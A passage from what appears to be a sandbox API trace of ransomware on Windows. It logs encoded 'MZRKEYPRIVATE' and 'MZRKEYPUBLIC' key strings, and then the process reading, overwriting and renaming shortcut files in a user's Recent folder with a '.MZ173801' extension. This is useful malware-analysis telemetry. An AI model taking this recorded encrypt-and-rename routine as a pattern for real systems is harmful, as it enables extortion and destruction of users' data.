lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] GetCurrentThreadId () returned 0xab4 [0147.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.632] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x46b [0147.632] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.632] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x46b, lpOverlapped=0x0) returned 1 [0147.632] CloseHandle (hObject=0x280) returned 1 [0147.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.633] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x46b, lpOverlapped=0x0) returned 1 [0147.633] CloseHandle (hObject=0x280) returned 1 [0147.634] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk.mz173801")) returned 1 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] GetCurrentThreadId () returned 0xab4 [0147.635] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41181662, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x41181662, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x41181662, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="GE2XWZw-UJlajB.lnk", cAlternateFileName="GE2XWZ~1.LNK")) returned 1 [0147.635] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.635] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41181662, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x41181662, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x41181662, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x29c)) returned 1 [0147.635] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk")) returned 0x20 [0147.635] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk", dwFileAttributes=0x80) returned 1 [0147.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.638] GetCurrentThreadId () returned 0xab4 [0147.638] GetCurrentThreadId () returned 0xab4 [0147.638] GetCurrentThreadId () returned 0xab4 [0147.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 